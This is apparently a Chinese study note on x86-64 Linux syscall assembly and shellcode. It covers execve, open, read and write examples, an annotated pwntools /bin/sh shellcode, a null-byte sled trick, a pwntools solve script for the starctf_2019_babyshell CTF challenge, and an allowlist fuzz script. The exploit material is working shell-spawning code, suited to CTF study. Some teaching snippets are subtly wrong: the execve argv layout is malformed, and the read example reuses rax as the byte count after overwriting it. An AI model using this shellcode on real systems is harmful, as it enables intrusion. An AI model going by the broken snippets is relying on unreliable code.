syscall
在AMD64架构(也称为x86-64或x64)下,使用 syscall
指令来进行系统调用的约定如下:
- 系统调用号:存储在
RAX
寄存器中。 - 参数传递:
- 第一个参数:
RDI
- 第二个参数:
RSI
- 第三个参数:
RDX
- 第四个参数:
R10
- 第五个参数:
R8
- 第六个参数:
R9
- 第一个参数:
- 返回值:系统调用的返回值存储在
RAX
寄存器中。 - 调用约定:
- 调用
syscall
指令之前,需要将系统调用号和参数传递到相应的寄存器。 - 调用
syscall
指令后,返回值会存储在RAX
寄存器中。 RCX
和R11
寄存器的值会被syscall
指令破坏,因此调用者需要保存这两个寄存器的值(如果需要)。
- 调用
execve
execve
的原型如下:
int execve(const char *filename, char *const argv[], char *const envp[]);
filename
:要执行的文件名(路径)。argv
:一个字符串数组,包含传递给程序的命令行参数。数组的最后一个元素必须是NULL
。envp
:一个字符串数组,包含环境变量。数组的最后一个元素也必须是NULL
。
section .datafilename db '/bin/ls', 0 ; 要执行的程序argv db '/bin/ls', 0 ; argv[0]db '-l', 0 ; argv[1]db 0 ; argv数组结束envp db 0 ; 环境变量数组结束section .textglobal _start_start:; 设置参数mov rax, 59 ; syscall: execve (59)mov rdi, filename ; filenamemov rsi, argv ; argvmov rdx, envp ; envpsyscall ; 调用内核; 如果 execve 失败mov rax, 60 ; syscall: exit (60)xor rdi, rdi ; exit code 0syscall ; 调用内核
open
open
系统调用用于打开文件并返回一个文件描述符。其原型如下:
int open(const char *pathname, int flags, mode_t mode);
主要参数
pathname
:要打开的文件的路径。flags
:打开文件的标志,例如O_RDONLY
,O_WRONLY
,O_RDWR
等。mode
:文件的访问权限(在创建文件时使用),通常与flags
一起传递。对于只读或只写操作,可以传递0
。
在 x86-64 Linux 中,open
的系统调用号是 2
。
下面是一个用汇编语言编写的示例,展示如何在 x86-64 Linux 中使用 syscall
调用 open
。
section .datafilename db '/tmp/testfile.txt', 0 ; 要打开的文件名flags db 0x0 ; O_RDONLYmode db 0 ; 只读模式,不需要section .textglobal _start_start:; 设置参数mov rax, 2 ; syscall: open (2)mov rdi, filename ; pathnamemov rsi, 0 ; flags: O_RDONLYmov rdx, 0 ; mode: 不使用syscall ; 调用内核; 返回值在 rax 中,检查是否成功test rax, rax ; 检查文件描述符是否有效js open_failed ; 如果 rax < 0,跳转到失败处理; 这里可以继续使用打开的文件描述符; 例如,使用它进行读取等操作; 关闭文件描述符mov rdi, rax ; 将文件描述符移动到 rdimov rax, 3 ; syscall: close (3)syscall ; 调用内核; 正常退出mov rax, 60 ; syscall: exit (60)xor rdi, rdi ; exit code 0syscall ; 调用内核open_failed:; 处理打开文件失败的情况mov rax, 60 ; syscall: exit (60)mov rdi, 1 ; exit code 1syscall ; 调用内核
read
在 x86-64 架构下,使用 syscall
指令进行 read
系统调用的步骤与其他系统调用类似。read
系统调用用于从文件描述符中读取数据。其原型如下:
ssize_t read(int fd, void *buf, size_t count);
主要参数
fd
:文件描述符,从中读取数据。buf
:指向用于存储读取数据的缓冲区的指针。count
:要读取的字节数。
在 x86-64 Linux 中,read
的系统调用号是 0
。
section .bssbuffer resb 128 ; 为输入缓冲区分配128字节section .textglobal _start_start:; 从标准输入读取数据mov rax, 0 ; syscall: read (0)mov rdi, 0 ; fd: 0 (stdin)mov rsi, buffer ; buf: 指向输入缓冲区mov rdx, 128 ; count: 要读取的字节数syscall ; 调用内核; 将读取的数据写入到标准输出mov rax, 1 ; syscall: write (1)mov rdi, 1 ; fd: 1 (stdout)mov rsi, buffer ; buf: 指向输入缓冲区mov rdx, rax ; count: 使用上一个 sysread 返回的字节数syscall ; 调用内核; 正常退出mov rax, 60 ; syscall: exit (60)xor rdi, rdi ; exit code 0syscall ; 调用内核
write
在 x86-64 架构下,使用 syscall
指令进行 write
系统调用的步骤与其他系统调用类似。write
系统调用用于向文件描述符中写入数据。其原型如下:
ssize_t write(int fd, const void *buf, size_t count);
主要参数
fd
:文件描述符,指定要写入的文件。buf
:指向要写入的数据的指针。count
:要写入的字节数。
在 x86-64 Linux 中,write
的系统调用号是 1
。
section .datamessage db 'Hello, world!', 0xA ; 要写入的消息,0xA 是换行符message_len equ $ - message ; 计算消息的长度section .textglobal _start_start:; 设置参数mov rax, 1 ; syscall: write (1)mov rdi, 1 ; fd: 1 (stdout)mov rsi, message ; buf: 指向要写入的消息mov rdx, message_len ; count: 消息的长度syscall ; 调用内核; 正常退出mov rax, 60 ; syscall: exit (60)xor rdi, rdi ; exit code 0syscall ; 调用内核
pwntools 提供的标准 execve shellcod
/* execve(path='/bin///sh', argv=['sh'], envp=0) *//* push b'/bin///sh\x00' */push 0x68mov rax, 0x732f2f2f6e69622fpush raxmov rdi, rsp/* push argument array ['sh\x00'] *//* push b'sh\x00' */push 0x1010101 ^ 0x6873xor dword ptr [rsp], 0x1010101xor esi, esi /* 0 */push rsi /* null terminate */push 8pop rsiadd rsi, rsppush rsi /* 'sh\x00' */mov rsi, rspxor edx, edx /* 0 *//* call execve() */push SYS_execve /* 0x3b */pop raxsyscall
1. 准备路径字符串 /bin///sh
:
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
mov rax, 0x732f2f2f6e69622f
:将/bin///sh
的字节表示0x732f2f2f6e69622f
加载到rax
寄存器中。这个 64 位值包含了字符串/bin///sh
。由于在路径中有多个连续的/
,这并不影响路径的正确性,Linux 会将多个/
视为一个。push rax
:将rax
中的字符串压入栈中。mov rdi, rsp
:将栈顶的地址(即/bin///sh
字符串的地址)存入rdi
寄存器。rdi
寄存器是execve
系统调用的第一个参数,它指向要执行的文件路径。
2. 准备参数数组 ['sh']
:
/* push argument array ['sh\x00'] */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
push 0x1010101 ^ 0x6873
:这行代码是为了构建字符串'sh\x00'
。0x6873
是'sh'
的 ASCII 码(在小端序下是0x7368
)。通过异或运算0x1010101 ^ 0x6873
生成一个特定的字节值。xor dword ptr [rsp], 0x1010101
:接下来,它通过异或运算将'sh\x00'
写入栈中,确保栈上的数据最终形成一个 null 终止的字符串'sh\x00'
。
3. 添加空指针作为参数的结束标志:
xor esi, esi /* 0 */
push rsi /* null terminate */
xor esi, esi
:将esi
寄存器清零,esi
现在为0
。push rsi
:将0
(即NULL
)推入栈中,表示参数数组的结束(argv
数组的最后一个元素是NULL
,表示没有更多的参数)。
4. 设置 argv
数组的地址:
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
push 8
:将8
压入栈中,它是参数数组的长度(即'sh\x00'
字符串占 8 字节)。pop rsi
:将 8 从栈中弹出并存入rsi
寄存器。add rsi, rsp
:将rsi
设置为栈顶加上偏移量 8,实际上是指向参数数组的地址(即'sh\x00'
字符串的地址)。push rsi
:将参数数组的地址压入栈中。mov rsi, rsp
:将栈顶的地址(即argv
数组的地址)存入rsi
寄存器,rsi
作为execve
的第二个参数。
5. 清空 envp
(环境变量):
xor edx, edx /* 0 */
xor edx, edx
:将edx
清零,表示envp
为NULL
,即不传递任何环境变量给新的进程。
6. 调用 execve
:
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
push SYS_execve
:将execve
系统调用的编号(0x3b,或 59)压入栈中。pop rax
:将系统调用号(0x3b)弹出到rax
寄存器,rax
是syscall
指令的调用号寄存器。syscall
:触发系统调用。此时,rax
寄存器保存的是execve
系统调用的编号,rdi
存储的是要执行的路径/bin///sh
,rsi
存储的是参数数组['sh']
,rdx
存储的是环境变量(此处为NULL
)。
shellcode滑板
这些特殊的机器码能在特定情况发挥作用
00 40 00 add BYTE PTR [rax+0x0], al
00 41 00 add BYTE PTR [rcx+0x0], al
00 42 00 add BYTE PTR [rdx+0x0], al
00 43 00 add BYTE PTR [rbx+0x0], al
00 45 00 add BYTE PTR [rbp+0x0], al
00 46 00 add BYTE PTR [rsi+0x0], al
00 47 00 add BYTE PTR [rdi+0x0], al
考虑以下代码starctf_2019_babyshell
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{_BYTE *buf; // [rsp+0h] [rbp-10h]sub_4007F8(a1, a2, a3);buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);puts("give me shellcode, plz:");read(0, buf, 0x200uLL);if ( !(unsigned int)sub_400786(buf) ){printf("wrong shellcode!");exit(0);}((void (*)(void))buf)();return 0LL;
}
__int64 __fastcall sub_400786(_BYTE *a1)
{char *i; // [rsp+18h] [rbp-10h]while ( *a1 ){for ( i = &byte_400978; *i && *i != *a1; ++i );if ( !*i )return 0LL;++a1;}return 1LL;
}
from pwn import *io = remote('node5.buuoj.cn', 29104)context(arch='amd64', os='linux', log_level='debug')shellcode = asm(shellcraft.sh())shellcode = b'\x00\x5a\x00' + shellcodeio.sendline(shellcode)io.interactive()
仅白名单/存在黑名单编写 shell code
提取byte_400978获得允许列表
[0x5A, 0x5A, 0x4A, 0x20, 0x6C, 0x6F, 0x76, 0x65, 0x73, 0x20, 0x73, 0x68, 0x65, 0x6C, 0x6C, 0x5F, 0x63, 0x6F, 0x64, 0x65, 0x2C, 0x61, 0x6E, 0x64, 0x20, 0x68, 0x65, 0x72, 0x65, 0x20, 0x69, 0x73, 0x20, 0x61, 0x20, 0x67, 0x69, 0x66, 0x74, 0x3A, 0x0F, 0x05, 0x20, 0x65, 0x6E, 0x6A, 0x6F, 0x79, 0x20, 0x69, 0x74, 0x21, 0x0A]
编写fuzz查看被禁止的语句
from pwn import * # 设置架构为 amd64context.arch = 'amd64' # 定义允许的字节列表
allow_list = [ 0x5A, 0x5A, 0x4A, 0x20, 0x6C, 0x6F, 0x76, 0x65, 0x73, 0x20, 0x73, 0x68, 0x65, 0x6C, 0x6C, 0x5F, 0x63, 0x6F, 0x64, 0x65, 0x2C, 0x61, 0x6E, 0x64, 0x20, 0x68, 0x65, 0x72, 0x65, 0x20, 0x69, 0x73, 0x20, 0x61, 0x20, 0x67, 0x69, 0x66, 0x74, 0x3A, 0x0F, 0x05, 0x20, 0x65, 0x6E, 0x6A, 0x6F, 0x79, 0x20, 0x69, 0x74, 0x21, 0x0A
] # 将 allow_list 中的每个字节转换为字节对象
for i in range(len(allow_list)): allow_list[i] = allow_list[i].to_bytes(1, byteorder='little') # 打印 allow_list 内容
print(allow_list) # 定义原始 shellcode 字符串
shellcode = """
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi
push rsi
push 8
pop rsi
add rsi, rsp
push rsi
mov rsi, rsp
xor edx, edx
push SYS_execve
pop rax
syscall
""" # 删除注释并拆为多行
shellcode = shellcode.splitlines() # 检查所有字节码是否在允许名单中, 如果不在则输出
for i in range(1, len(shellcode)): # 从第1行开始,因为第0行是空的 # 将 shellcode 中的每行汇编代码转为机器码(字节码) cmp = asm(shellcode[i]) # 对每个字节码进行检查 for f in cmp: all_pass = True found = False # 标记是否找到了符合要求的字节 for j in allow_list: if f == j: # 如果字节在允许列表中 found = True break if not found: # 如果字节不在允许列表中,输出该字节 all_pass = False print(f"\033[91m{shellcode[i]}语句中的 字节 {hex(f)} 不在允许名单中.\033[0m") if all_pass is True: print(f'\033[92m{shellcode[i]} 语句通过\033[0m')
成功得到一片红(思路错了我以为这是手写shellcode,先这部分先搁置,等遇到题再写,这道题是遇0停止)